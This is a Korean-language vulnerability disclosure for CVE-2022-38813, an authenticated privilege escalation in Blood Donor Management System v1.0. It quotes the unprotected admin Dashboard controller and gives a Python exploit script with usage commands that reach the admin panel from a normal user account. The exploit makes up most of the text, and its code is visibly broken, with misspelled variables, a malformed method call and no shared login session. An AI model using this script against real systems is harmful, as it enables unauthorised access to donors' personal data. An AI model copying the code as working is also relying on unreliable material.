
헌혈자 관리 시스템의 인증된 수직 권한 상승 취약점
Codeigniter 기반 Blood Donor Management System v1.0의 user 매개변수를 통한 수직적 권한 상승

Blood Donor Management System 1.0은 admin/dashboard.php에 대한 접근을 적절히 제한하지 않습니다. 이로 인해 공격자는 모든 사용자 데이터에 접근하고, 사용자를 삭제하며, Blood Group(혈액형)을 추가 및 관리하고 보고서를 제출할 수 있습니다.
다음 소스 코드에서 user/dashboard가 user 매개변수를 적절히 제한하지 않는 것을 확인할 수 있습니다. 따라서 공격자는 해당 매개변수를 admin 매개변수로 변경하여 관리자 계정에 접근할 수 있습니다.
취약한 페이지 - User의 Dashboard.php 및 Admin의 Dashboard.php
// Dashboard.php in User
class Dashboard extends CI_Controller
{
//Validating login
function __construct()
{
parent::__construct();
if (!$this->session->userdata('uid'))
redirect('user/login');
}
public function index()
{
$this->load->view('user/dashboard');
}
}
// Dashboard.php in Admin
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class Dashboard extends CI_Controller
{
public function index()
{
$this->load->model('admin/Dashboard_Model', 'adminn');
$totalusercount = $this->adminn->totalusercount();
$totalbloodgroupcount = $this->adminn->totalbloodgroupcount();
$this->load->view('admin/dashboard', ['totalusercount' => $totalusercount, 'totalbloodgroupcount' => $totalbloodgroupcount]);
}
}
import argparse
import requests
from termcolor import cprint
import sys
from bs4 import *
color = "green"
cprint("[+] CVE-2022-38813 Authenticated Privilege Escalation in Blood Donor Management System v1.0", color)
cprint("[+] Author: RashidKhan Pathan aka iHexCoder", color)
cprint("[!] Usage: run exploit.py username password payload", color)
cprint("[!] Example: python3 exploit.py admin [email protected] Test@123", color)
class PrivilegeEscalation:
color = "green"
def __init__(self, username, password, payload):
self.username = username
self.password = password
self.paylaod = payload
def authentication(self):
color = "green"
cprint("[+] Authenticating User", color)
cprint("[+] Username: " + args.username, color)
cprint("[+] Password: " + args.password, color)
cprint("[+] Payload: " + args.payload, color)
login_url = "http://localhost/blood/user/login"
data = {
"email": args.username,
"password": args.password
}
login_response = requests.post(login_url, data=data)
cprint("[+] Exploiting...Started", color)
if "/user/login" in login_response.url:
cprint("[+] Credentials is not Valid", "red")
sys.exit(1)
else:
cprint("[+] Authenticated Successfully as a Normal User ", color)
cprint("[+] Normal User URL Endpoint " + login_response.url, color)
url = args.payload
if args.payload != "admin":
cprint("[+] Please Add Valid Payload", "red")
sys.exit(1)
response = requests.get(f"http://localhost/blood/{url}/dashboard")
cprint("[+] Exploit Compleated", color)
cprint("[+] Accessed Admin Panel Successfully " + response.url, color)
cprint("[+] Copy the URL and Replace with user/dashboard URL with " + esponse.url, color)
cprint("[+] After Replacing it You Should see the Bypassed Admin Panel", color)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("username", help="Please Add Username", type=str)
parser.add_argument("password", help="Please Add Password", type=str)
parser.add_argument("payload", help="Please Add Password", type=str)
args = parser.parse_args()
privilegeEscalation = PrivilegeEscalation
privilegeEscalation.authentication((args.username, args.password, args.payload))
# Changes The Vulnerable user paramter from url to escalate privileges normal user to admin -
python3 CVE-2022-38813.py <username> <password> <payload>
python CVE-2022-38813.py [email protected] Test@123 admin

소프트웨어 링크: https://phpgurukul.com/blood-donor-management-system-using-codeigniter
RashidKhan Pathan (iHexCoder), 2022년 9월 9일. Twitter: @itRashid